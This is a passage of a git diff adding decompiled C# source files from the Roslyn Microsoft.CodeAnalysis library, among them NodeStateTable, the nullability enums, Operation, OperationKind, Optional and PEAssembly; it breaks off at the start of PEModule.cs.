(!_states.SequenceEqual(entry._states)) + { + return false; + } + if (Count != entry.Count) + { + return false; + } + int i = 0; + for (int count = Count; i < count; i++) + { + if (!equalityComparer.Equals(GetItem(i), entry.GetItem(i))) + { + return false; + } + } + return true; + } + + public T GetItem(int index) + { + return _items[index]; + } + + public EntryState GetState(int index) + { + if (_states.Length != 1) + { + return _states[index]; + } + return _states[0]; + } + + public TableEntry AsCached() + { + if (!_anyRemoved) + { + return new TableEntry(_items, s_allCachedEntries, anyRemoved: false); + } + ArrayBuilder instance = ArrayBuilder.GetInstance(); + for (int i = 0; i < Count; i++) + { + if (GetState(i) != EntryState.Removed) + { + instance.Add(GetItem(i)); + } + } + return new TableEntry(OneOrMany.Create(instance.ToImmutableArray()), s_allCachedEntries, anyRemoved: false); + } + + public TableEntry AsRemovedDueToInputRemoval() + { + return new TableEntry(_items, s_allRemovedDueToInputRemoval, anyRemoved: true); + } + + private static ImmutableArray GetSingleArray(EntryState state) + { + return state switch + { + EntryState.Added => s_allAddedEntries, + EntryState.Cached => s_allCachedEntries, + EntryState.Modified => s_allModifiedEntries, + EntryState.Removed => s_allRemovedEntries, + _ => throw ExceptionUtilities.Unreachable("/_/src/Compilers/Core/Portable/SourceGeneration/Nodes/NodeStateTable.cs", 653), + }; + } + + public Enumerator GetEnumerator() + { + return new Enumerator(this); + } + } + + private readonly ImmutableArray _states; + + internal static NodeStateTable Empty { get; } = new NodeStateTable(ImmutableArray.Empty, ImmutableArray.Empty, hasTrackedSteps: true, isCached: false); + + public int Count => _states.Length; + + public bool IsCached { get; } + + public bool IsEmpty => _states.IsEmpty; + + public bool HasTrackedSteps { get; } + + public ImmutableArray Steps { get; } + + private NodeStateTable(ImmutableArray states, ImmutableArray steps, bool hasTrackedSteps, bool isCached) + { + _states = states; + Steps = steps; + IsCached = isCached; + HasTrackedSteps = hasTrackedSteps; + } + + public int GetTotalEntryItemCount() + { + return _states.Sum((TableEntry e) => e.Count); + } + + public Enumerator GetEnumerator() + { + return new Enumerator(this); + } + + public NodeStateTable AsCached() + { + if (IsCached) + { + return this; + } + ArrayBuilder instance = ArrayBuilder.GetInstance(_states.Count((TableEntry e) => !e.IsRemovedDueToInputRemoval)); + ImmutableArray.Enumerator enumerator = _states.GetEnumerator(); + while (enumerator.MoveNext()) + { + TableEntry current = enumerator.Current; + if (!current.IsRemovedDueToInputRemoval) + { + instance.Add(current.AsCached()); + } + } + return new NodeStateTable(instance.ToImmutableAndFree(), ImmutableArray.Empty, hasTrackedSteps: false, isCached: true); + } + + IStateTable IStateTable.AsCached() + { + return AsCached(); + } + + public (T item, IncrementalGeneratorRunStep? step) Single() + { + ImmutableArray states = _states; + T item = states[states.Length - 1].GetItem(0); + object item2; + if (!HasTrackedSteps) + { + item2 = null; + } + else + { + ImmutableArray steps = Steps; + item2 = steps[steps.Length - 1]; + } + return (item: item, step: (IncrementalGeneratorRunStep)item2); + } + + public Builder ToBuilder(string? stepName, bool stepTrackingEnabled, IEqualityComparer? equalityComparer = null, int? tableCapacity = null) + { + return new Builder(this, stepName, stepTrackingEnabled, equalityComparer, tableCapacity); + } + + public NodeStateTable CreateCachedTableWithUpdatedSteps(NodeStateTable inputTable, string? stepName, IEqualityComparer equalityComparer) + { + Builder builder = ToBuilder(stepName, stepTrackingEnabled: true, equalityComparer); + NodeStateTable.Enumerator enumerator = inputTable.GetEnumerator(); + while (enumerator.MoveNext()) + { + NodeStateEntry current = enumerator.Current; + ImmutableArray<(IncrementalGeneratorRunStep, int)> stepInputs = ImmutableArray.Create((current.Step, current.OutputIndex)); + builder.TryUseCachedEntries(TimeSpan.Zero, stepInputs); + } + return builder.ToImmutableAndFree(); + } + + public string GetPackedStates() + { + PooledStringBuilder instance = PooledStringBuilder.GetInstance(); + ImmutableArray.Enumerator enumerator = _states.GetEnumerator(); + while (enumerator.MoveNext()) + { + TableEntry current = enumerator.Current; + for (int i = 0; i < current.Count; i++) + { + instance.Builder.Append(current.GetState(i).ToString()[0]); + } + instance.Builder.Append(','); + } + return instance.ToStringAndFree(); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/NullabilityInfo.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/NullabilityInfo.cs new file mode 100644 index 0000000..012107c --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/NullabilityInfo.cs @@ -0,0 +1,47 @@ +using System; +using System.Diagnostics; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis; + +[DebuggerDisplay("{GetDebuggerDisplay(), nq}")] +public readonly struct NullabilityInfo : IEquatable +{ + public NullableAnnotation Annotation { get; } + + public NullableFlowState FlowState { get; } + + internal NullabilityInfo(NullableAnnotation annotation, NullableFlowState flowState) + { + Annotation = annotation; + FlowState = flowState; + } + + private string GetDebuggerDisplay() + { + return $"{{Annotation: {Annotation}, Flow State: {FlowState}}}"; + } + + public override bool Equals(object? other) + { + if (other is NullabilityInfo other2) + { + return Equals(other2); + } + return false; + } + + public override int GetHashCode() + { + return Hash.Combine(((int)Annotation).GetHashCode(), ((int)FlowState).GetHashCode()); + } + + public bool Equals(NullabilityInfo other) + { + if (Annotation == other.Annotation) + { + return FlowState == other.FlowState; + } + return false; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/NullableAnnotation.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/NullableAnnotation.cs new file mode 100644 index 0000000..e6d78c0 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/NullableAnnotation.cs @@ -0,0 +1,8 @@ +namespace Microsoft.CodeAnalysis; + +public enum NullableAnnotation : byte +{ + None, + NotAnnotated, + Annotated +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/NullableContext.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/NullableContext.cs new file mode 100644 index 0000000..1eb014a --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/NullableContext.cs @@ -0,0 +1,15 @@ +using System; + +namespace Microsoft.CodeAnalysis; + +[Flags] +public enum NullableContext +{ + Disabled = 0, + WarningsEnabled = 1, + AnnotationsEnabled = 2, + Enabled = 3, + WarningsContextInherited = 4, + AnnotationsContextInherited = 8, + ContextInherited = 0xC +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/NullableContextExtensions.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/NullableContextExtensions.cs new file mode 100644 index 0000000..b993e7a --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/NullableContextExtensions.cs @@ -0,0 +1,29 @@ +namespace Microsoft.CodeAnalysis; + +public static class NullableContextExtensions +{ + private static bool IsFlagSet(NullableContext context, NullableContext flag) + { + return (context & flag) == flag; + } + + public static bool WarningsEnabled(this NullableContext context) + { + return IsFlagSet(context, NullableContext.WarningsEnabled); + } + + public static bool AnnotationsEnabled(this NullableContext context) + { + return IsFlagSet(context, NullableContext.AnnotationsEnabled); + } + + public static bool WarningsInherited(this NullableContext context) + { + return IsFlagSet(context, NullableContext.WarningsContextInherited); + } + + public static bool AnnotationsInherited(this NullableContext context) + { + return IsFlagSet(context, NullableContext.AnnotationsContextInherited); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/NullableContextOptions.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/NullableContextOptions.cs new file mode 100644 index 0000000..7d0ca83 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/NullableContextOptions.cs @@ -0,0 +1,12 @@ +using System; + +namespace Microsoft.CodeAnalysis; + +[Flags] +public enum NullableContextOptions +{ + Disable = 0, + Warnings = 1, + Annotations = 2, + Enable = 3 +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/NullableContextOptionsExtensions.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/NullableContextOptionsExtensions.cs new file mode 100644 index 0000000..f6285f2 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/NullableContextOptionsExtensions.cs @@ -0,0 +1,19 @@ +namespace Microsoft.CodeAnalysis; + +public static class NullableContextOptionsExtensions +{ + private static bool IsFlagSet(NullableContextOptions context, NullableContextOptions flag) + { + return (context & flag) == flag; + } + + public static bool WarningsEnabled(this NullableContextOptions context) + { + return IsFlagSet(context, NullableContextOptions.Warnings); + } + + public static bool AnnotationsEnabled(this NullableContextOptions context) + { + return IsFlagSet(context, NullableContextOptions.Annotations); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/NullableFlowState.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/NullableFlowState.cs new file mode 100644 index 0000000..db44f7d --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/NullableFlowState.cs @@ -0,0 +1,8 @@ +namespace Microsoft.CodeAnalysis; + +public enum NullableFlowState : byte +{ + None, + NotNull, + MaybeNull +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/NullableFlowStateExtensions.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/NullableFlowStateExtensions.cs new file mode 100644 index 0000000..0072c3b --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/NullableFlowStateExtensions.cs @@ -0,0 +1,14 @@ +namespace Microsoft.CodeAnalysis; + +internal static class NullableFlowStateExtensions +{ + public static NullableAnnotation ToAnnotation(this NullableFlowState nullableFlowState) + { + return nullableFlowState switch + { + NullableFlowState.MaybeNull => NullableAnnotation.Annotated, + NullableFlowState.NotNull => NullableAnnotation.NotAnnotated, + _ => NullableAnnotation.None, + }; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/ObjectDisplayExtensions.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/ObjectDisplayExtensions.cs new file mode 100644 index 0000000..a69e1a5 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/ObjectDisplayExtensions.cs @@ -0,0 +1,9 @@ +namespace Microsoft.CodeAnalysis; + +internal static class ObjectDisplayExtensions +{ + internal static bool IncludesOption(this ObjectDisplayOptions options, ObjectDisplayOptions flag) + { + return (options & flag) == flag; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/ObjectDisplayOptions.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/ObjectDisplayOptions.cs new file mode 100644 index 0000000..e24f146 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/ObjectDisplayOptions.cs @@ -0,0 +1,14 @@ +using System; + +namespace Microsoft.CodeAnalysis; + +[Flags] +internal enum ObjectDisplayOptions +{ + None = 0, + IncludeCodePoints = 1, + IncludeTypeSuffix = 2, + UseHexadecimalNumbers = 4, + UseQuotes = 8, + EscapeNonPrintableCharacters = 0x10 +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/ObsoleteAttributeData.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/ObsoleteAttributeData.cs new file mode 100644 index 0000000..cd70416 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/ObsoleteAttributeData.cs @@ -0,0 +1,33 @@ +namespace Microsoft.CodeAnalysis; + +internal sealed class ObsoleteAttributeData +{ + public static readonly ObsoleteAttributeData Uninitialized = new ObsoleteAttributeData(ObsoleteAttributeKind.Uninitialized, null, isError: false, null, null); + + public static readonly ObsoleteAttributeData WindowsExperimental = new ObsoleteAttributeData(ObsoleteAttributeKind.WindowsExperimental, null, isError: false, null, null); + + public const string DiagnosticIdPropertyName = "DiagnosticId"; + + public const string UrlFormatPropertyName = "UrlFormat"; + + public readonly ObsoleteAttributeKind Kind; + + public readonly bool IsError; + + public readonly string? Message; + + public readonly string? DiagnosticId; + + public readonly string? UrlFormat; + + internal bool IsUninitialized => this == Uninitialized; + + public ObsoleteAttributeData(ObsoleteAttributeKind kind, string? message, bool isError, string? diagnosticId, string? urlFormat) + { + Kind = kind; + Message = message; + IsError = isError; + DiagnosticId = diagnosticId; + UrlFormat = urlFormat; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/ObsoleteAttributeKind.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/ObsoleteAttributeKind.cs new file mode 100644 index 0000000..181d1e2 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/ObsoleteAttributeKind.cs @@ -0,0 +1,11 @@ +namespace Microsoft.CodeAnalysis; + +internal enum ObsoleteAttributeKind +{ + None, + Uninitialized, + Obsolete, + Deprecated, + WindowsExperimental, + Experimental +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/Operation.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/Operation.cs new file mode 100644 index 0000000..db4bd89 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/Operation.cs @@ -0,0 +1,117 @@ +using System.Collections.Generic; +using System.Collections.Immutable; +using System.Diagnostics; +using System.Diagnostics.CodeAnalysis; +using Microsoft.CodeAnalysis.Operations; + +namespace Microsoft.CodeAnalysis; + +[DebuggerDisplay("{GetDebuggerDisplay(), nq}")] +internal abstract class Operation : IOperation +{ + protected static readonly IOperation s_unset = new EmptyOperation(null, null, isImplicit: true); + + private readonly SemanticModel? _owningSemanticModelOpt; + + private IOperation? _parentDoNotAccessDirectly; + + public IOperation? Parent => _parentDoNotAccessDirectly; + + public bool IsImplicit { get; } + + public abstract OperationKind Kind { get; } + + public SyntaxNode Syntax { get; } + + public abstract ITypeSymbol? Type { get; } + + public string Language => Syntax.Language; + + internal abstract ConstantValue? OperationConstantValue { get; } + + public Optional ConstantValue + { + get + { + if (OperationConstantValue == null || OperationConstantValue.IsBad) + { + return default(Optional); + } + return new Optional(OperationConstantValue.Value); + } + } + + IEnumerable IOperation.Children => ChildOperations; + + public IOperation.OperationList ChildOperations => new IOperation.OperationList(this); + + internal abstract int ChildOperationsCount { get; } + + SemanticModel? IOperation.SemanticModel => _owningSemanticModelOpt?.ContainingPublicModelOrSelf; + + internal SemanticModel? OwningSemanticModel => _owningSemanticModelOpt; + + protected Operation(SemanticModel? semanticModel, SyntaxNode syntax, bool isImplicit) + { + _owningSemanticModelOpt = semanticModel; + Syntax = syntax; + IsImplicit = isImplicit; + _parentDoNotAccessDirectly = s_unset; + } + + internal abstract IOperation GetCurrent(int slot, int index); + + internal abstract (bool hasNext, int nextSlot, int nextIndex) MoveNext(int previousSlot, int previousIndex); + + internal abstract (bool hasNext, int nextSlot, int nextIndex) MoveNextReversed(int previousSlot, int previousIndex); + + public abstract void Accept(OperationVisitor visitor); + + public abstract TResult? Accept(OperationVisitor visitor, TArgument argument); + + protected void SetParentOperation(IOperation? parent) + { + _parentDoNotAccessDirectly = parent; + } + + [return: NotNullIfNotNull("operation")] + public static T? SetParentOperation(T? operation, IOperation? parent) where T : IOperation + { + (operation as Operation)?.SetParentOperation(parent); + return operation; + } + + public static ImmutableArray SetParentOperation(ImmutableArray operations, IOperation? parent) where T : IOperation + { + if (operations.Length == 0) + { + return operations; + } + ImmutableArray.Enumerator enumerator = operations.GetEnumerator(); + while (enumerator.MoveNext()) + { + SetParentOperation(enumerator.Current, parent); + } + return operations; + } + + [Conditional("DEBUG")] + internal static void VerifyParentOperation(IOperation? parent, IOperation child) + { + } + + [Conditional("DEBUG")] + internal static void VerifyParentOperation(IOperation? parent, ImmutableArray children) where T : IOperation + { + ImmutableArray.Enumerator enumerator = children.GetEnumerator(); + while (enumerator.MoveNext()) + { + _ = enumerator.Current; + } + } + + private string GetDebuggerDisplay() + { + return string.Format("{0} Type: {1}", GetType().Name, (Type == null) ? ((object)"null") : ((object)Type)); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/OperationKind.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/OperationKind.cs new file mode 100644 index 0000000..e464289 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/OperationKind.cs @@ -0,0 +1,143 @@ +using System; +using System.ComponentModel; + +namespace Microsoft.CodeAnalysis; + +public enum OperationKind +{ + None = 0, + Invalid = 1, + Block = 2, + VariableDeclarationGroup = 3, + Switch = 4, + Loop = 5, + Labeled = 6, + Branch = 7, + Empty = 8, + Return = 9, + YieldBreak = 10, + Lock = 11, + Try = 12, + Using = 13, + YieldReturn = 14, + ExpressionStatement = 15, + LocalFunction = 16, + Stop = 17, + End = 18, + RaiseEvent = 19, + Literal = 20, + Conversion = 21, + Invocation = 22, + ArrayElementReference = 23, + LocalReference = 24, + ParameterReference = 25, + FieldReference = 26, + MethodReference = 27, + PropertyReference = 28, + EventReference = 30, + Unary = 31, + [EditorBrowsable(EditorBrowsableState.Never)] + UnaryOperator = 31, + Binary = 32, + [EditorBrowsable(EditorBrowsableState.Never)] + BinaryOperator = 32, + Conditional = 33, + Coalesce = 34, + AnonymousFunction = 35, + ObjectCreation = 36, + TypeParameterObjectCreation = 37, + ArrayCreation = 38, + InstanceReference = 39, + IsType = 40, + Await = 41, + SimpleAssignment = 42, + CompoundAssignment = 43, + Parenthesized = 44, + EventAssignment = 45, + ConditionalAccess = 46, + ConditionalAccessInstance = 47, + InterpolatedString = 48, + AnonymousObjectCreation = 49, + ObjectOrCollectionInitializer = 50, + MemberInitializer = 51, + [Obsolete("ICollectionElementInitializerOperation has been replaced with IInvocationOperation and IDynamicInvocationOperation", true)] + CollectionElementInitializer = 52, + NameOf = 53, + Tuple = 54, + DynamicObjectCreation = 55, + DynamicMemberReference = 56, + DynamicInvocation = 57, + DynamicIndexerAccess = 58, + TranslatedQuery = 59, + DelegateCreation = 60, + DefaultValue = 61, + TypeOf = 62, + SizeOf = 63, + AddressOf = 64, + IsPattern = 65, + Increment = 66, + Throw = 67, + Decrement = 68, + DeconstructionAssignment = 69, + DeclarationExpression = 70, + OmittedArgument = 71, + FieldInitializer = 72, + VariableInitializer = 73, + PropertyInitializer = 74, + ParameterInitializer = 75, + ArrayInitializer = 76, + VariableDeclarator = 77, + VariableDeclaration = 78, + Argument = 79, + CatchClause = 80, + SwitchCase = 81, + CaseClause = 82, + InterpolatedStringText = 83, + Interpolation = 84, + ConstantPattern = 85, + DeclarationPattern = 86, + TupleBinary = 87, + [EditorBrowsable(EditorBrowsableState.Never)] + TupleBinaryOperator = 87, + MethodBody = 88, + [EditorBrowsable(EditorBrowsableState.Never)] + MethodBodyOperation = 88, + ConstructorBody = 89, + [EditorBrowsable(EditorBrowsableState.Never)] + ConstructorBodyOperation = 89, + Discard = 90, + FlowCapture = 91, + FlowCaptureReference = 92, + IsNull = 93, + CaughtException = 94, + StaticLocalInitializationSemaphore = 95, + FlowAnonymousFunction = 96, + CoalesceAssignment = 97, + Range = 99, + ReDim = 101, + ReDimClause = 102, + RecursivePattern = 103, + DiscardPattern = 104, + SwitchExpression = 105, + SwitchExpressionArm = 106, + PropertySubpattern = 107, + UsingDeclaration = 108, + NegatedPattern = 109, + BinaryPattern = 110, + TypePattern = 111, + RelationalPattern = 112, + With = 113, + InterpolatedStringHandlerCreation = 114, + InterpolatedStringAddition = 115, + InterpolatedStringAppendLiteral = 116, + InterpolatedStringAppendFormatted = 117, + InterpolatedStringAppendInvalid = 118, + InterpolatedStringHandlerArgumentPlaceholder = 119, + FunctionPointerInvocation = 120, + ListPattern = 121, + SlicePattern = 122, + ImplicitIndexerReference = 123, + Utf8String = 124, + Attribute = 125, + InlineArrayAccess = 126 +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/OperationMapBuilder.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/OperationMapBuilder.cs new file mode 100644 index 0000000..08b4440 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/OperationMapBuilder.cs @@ -0,0 +1,53 @@ +using System.Collections.Generic; +using System.Diagnostics.CodeAnalysis; +using Microsoft.CodeAnalysis.Operations; + +namespace Microsoft.CodeAnalysis; + +internal static class OperationMapBuilder +{ + private sealed class Walker : OperationWalker> + { + internal static readonly Walker Instance = new Walker(); + + public override object? DefaultVisit(IOperation operation, Dictionary argument) + { + RecordOperation(operation, argument); + return base.DefaultVisit(operation, argument); + } + + public override object? VisitBinaryOperator([DisallowNull] IBinaryOperation? operation, Dictionary argument) + { + while (true) + { + RecordOperation(operation, argument); + Visit(operation.RightOperand, argument); + if (!(operation.LeftOperand is IBinaryOperation binaryOperation)) + { + break; + } + operation = binaryOperation; + } + Visit(operation.LeftOperand, argument); + return null; + } + + internal override object? VisitNoneOperation(IOperation operation, Dictionary argument) + { + return DefaultVisit(operation, argument); + } + + private static void RecordOperation(IOperation operation, Dictionary argument) + { + if (!operation.IsImplicit) + { + argument.Add(operation.Syntax, operation); + } + } + } + + internal static void AddToMap(IOperation root, Dictionary dictionary) + { + Walker.Instance.Visit(root, dictionary); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/OptimizationLevel.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/OptimizationLevel.cs new file mode 100644 index 0000000..2659d09 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/OptimizationLevel.cs @@ -0,0 +1,7 @@ +namespace Microsoft.CodeAnalysis; + +public enum OptimizationLevel +{ + Debug, + Release +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/OptimizationLevelFacts.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/OptimizationLevelFacts.cs new file mode 100644 index 0000000..c4d5cc8 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/OptimizationLevelFacts.cs @@ -0,0 +1,56 @@ +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis; + +internal static class OptimizationLevelFacts +{ + internal static (OptimizationLevel OptimizationLevel, bool DebugPlus) DefaultValues => (OptimizationLevel: OptimizationLevel.Debug, DebugPlus: false); + + public static string ToPdbSerializedString(this OptimizationLevel optimization, bool debugPlusMode) + { + switch (optimization) + { + case OptimizationLevel.Release: + if (debugPlusMode) + { + return "release-debug-plus"; + } + return "release"; + case OptimizationLevel.Debug: + if (debugPlusMode) + { + return "debug-plus"; + } + return "debug"; + default: + throw ExceptionUtilities.UnexpectedValue(optimization); + } + } + + public static bool TryParsePdbSerializedString(string value, out OptimizationLevel optimizationLevel, out bool debugPlusMode) + { + switch (value) + { + case "release-debug-plus": + optimizationLevel = OptimizationLevel.Release; + debugPlusMode = true; + return true; + case "release": + optimizationLevel = OptimizationLevel.Release; + debugPlusMode = false; + return true; + case "debug-plus": + optimizationLevel = OptimizationLevel.Debug; + debugPlusMode = true; + return true; + case "debug": + optimizationLevel = OptimizationLevel.Debug; + debugPlusMode = false; + return true; + default: + optimizationLevel = OptimizationLevel.Debug; + debugPlusMode = false; + return false; + } + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/Optional.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/Optional.cs new file mode 100644 index 0000000..70c63cf --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/Optional.cs @@ -0,0 +1,27 @@ +namespace Microsoft.CodeAnalysis; + +public readonly struct Optional(T value) +{ + private readonly bool _hasValue = true; + + private readonly T _value = value; + + public bool HasValue => _hasValue; + + public T Value => _value; + + public static implicit operator Optional(T value) + { + return new Optional(value); + } + + public override string ToString() + { + if (!_hasValue) + { + return "unspecified"; + } + T value = _value; + return ((value != null) ? value.ToString() : null) ?? "null"; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/OutputKind.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/OutputKind.cs new file mode 100644 index 0000000..48d615a --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/OutputKind.cs @@ -0,0 +1,11 @@ +namespace Microsoft.CodeAnalysis; + +public enum OutputKind +{ + ConsoleApplication, + WindowsApplication, + DynamicallyLinkedLibrary, + NetModule, + WindowsRuntimeMetadata, + WindowsRuntimeApplication +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/PEAssembly.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/PEAssembly.cs new file mode 100644 index 0000000..077bb23 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/PEAssembly.cs @@ -0,0 +1,132 @@ +using System; +using System.Collections.Generic; +using System.Collections.Immutable; +using System.Reflection.Metadata; +using System.Threading; +using Microsoft.CodeAnalysis.PooledObjects; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis; + +internal sealed class PEAssembly +{ + internal readonly ImmutableArray AssemblyReferences; + + internal readonly ImmutableArray ModuleReferenceCounts; + + private readonly ImmutableArray _modules; + + private readonly AssemblyIdentity _identity; + + private ThreeState _lazyContainsNoPiaLocalTypes; + + private ThreeState _lazyDeclaresTheObjectClass; + + private readonly AssemblyMetadata _owner; + + private Dictionary>> _lazyInternalsVisibleToMap; + + internal EntityHandle Handle => EntityHandle.AssemblyDefinition; + + internal PEModule ManifestModule => Modules[0]; + + internal ImmutableArray Modules => _modules; + + internal AssemblyIdentity Identity => _identity; + + internal bool DeclaresTheObjectClass + { + get + { + if (_lazyDeclaresTheObjectClass == ThreeState.Unknown) + { + bool value = _modules[0].MetadataReader.DeclaresTheObjectClass(); + _lazyDeclaresTheObjectClass = value.ToThreeState(); + } + return _lazyDeclaresTheObjectClass == ThreeState.True; + } + } + + internal PEAssembly(AssemblyMetadata owner, ImmutableArray modules) + { + _identity = modules[0].ReadAssemblyIdentityOrThrow(); + ArrayBuilder instance = ArrayBuilder.GetInstance(); + int[] array = new int[modules.Length]; + for (int i = 0; i < modules.Length; i++) + { + ImmutableArray referencedAssemblies = modules[i].ReferencedAssemblies; + array[i] = referencedAssemblies.Length; + instance.AddRange(referencedAssemblies); + } + _modules = modules; + AssemblyReferences = instance.ToImmutableAndFree(); + ModuleReferenceCounts = array.AsImmutableOrNull(); + _owner = owner; + } + + internal bool ContainsNoPiaLocalTypes() + { + if (_lazyContainsNoPiaLocalTypes == ThreeState.Unknown) + { + ImmutableArray.Enumerator enumerator = Modules.GetEnumerator(); + while (enumerator.MoveNext()) + { + if (enumerator.Current.ContainsNoPiaLocalTypes()) + { + _lazyContainsNoPiaLocalTypes = ThreeState.True; + return true; + } + } + _lazyContainsNoPiaLocalTypes = ThreeState.False; + } + return _lazyContainsNoPiaLocalTypes == ThreeState.True; + } + + private Dictionary>> BuildInternalsVisibleToMap() + { + Dictionary>> dictionary = new Dictionary>>(StringComparer.OrdinalIgnoreCase); + ImmutableArray.Enumerator enumerator = Modules[0].GetInternalsVisibleToAttributeValues(Handle).GetEnumerator(); + while (enumerator.MoveNext()) + { + if (AssemblyIdentity.TryParseDisplayName(enumerator.Current, out AssemblyIdentity identity)) + { + if (dictionary.TryGetValue(identity.Name, out var value)) + { + value.Add(identity.PublicKey); + continue; + } + value = new List>(); + value.Add(identity.PublicKey); + dictionary[identity.Name] = value; + } + } + return dictionary; + } + + internal IEnumerable> GetInternalsVisibleToPublicKeys(string simpleName) + { + EnsureInternalsVisibleToMapInitialized(); + _lazyInternalsVisibleToMap.TryGetValue(simpleName, out var value); + IEnumerable> enumerable = value; + return enumerable ?? SpecializedCollections.EmptyEnumerable>(); + } + + internal IEnumerable GetInternalsVisibleToAssemblyNames() + { + EnsureInternalsVisibleToMapInitialized(); + return _lazyInternalsVisibleToMap.Keys; + } + + private void EnsureInternalsVisibleToMapInitialized() + { + if (_lazyInternalsVisibleToMap == null) + { + Interlocked.CompareExchange(ref _lazyInternalsVisibleToMap, BuildInternalsVisibleToMap(), null); + } + } + + public AssemblyMetadata GetNonDisposableMetadata() + { + return _owner.Copy(); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/PEModule.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/PEModule.cs new file mode 100644 index 0000000..4f8df3b --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/PEModule.cs @@ -0,0 +1,2903 @@ +using System; +using System.Collections.Concurrent; +using System.Collections.Generic; +using System.Collections.Immutable; +using System.Diagnostics.CodeAnalysis; +using System.Linq; +using System.Reflection; +using System.Reflection.Metadata; +using System.Reflection.Metadata.Ecma335; +using System.Reflection.PortableExecutable; +using System.Runtime.InteropServices; +using System.Security.Cryptography; +using System.Text; +using System.Threading; +using Microsoft.Cci; +using Microsoft.CodeAnalysis.PooledObjects; +using Microsoft.CodeAnalysis.Symbols; +using 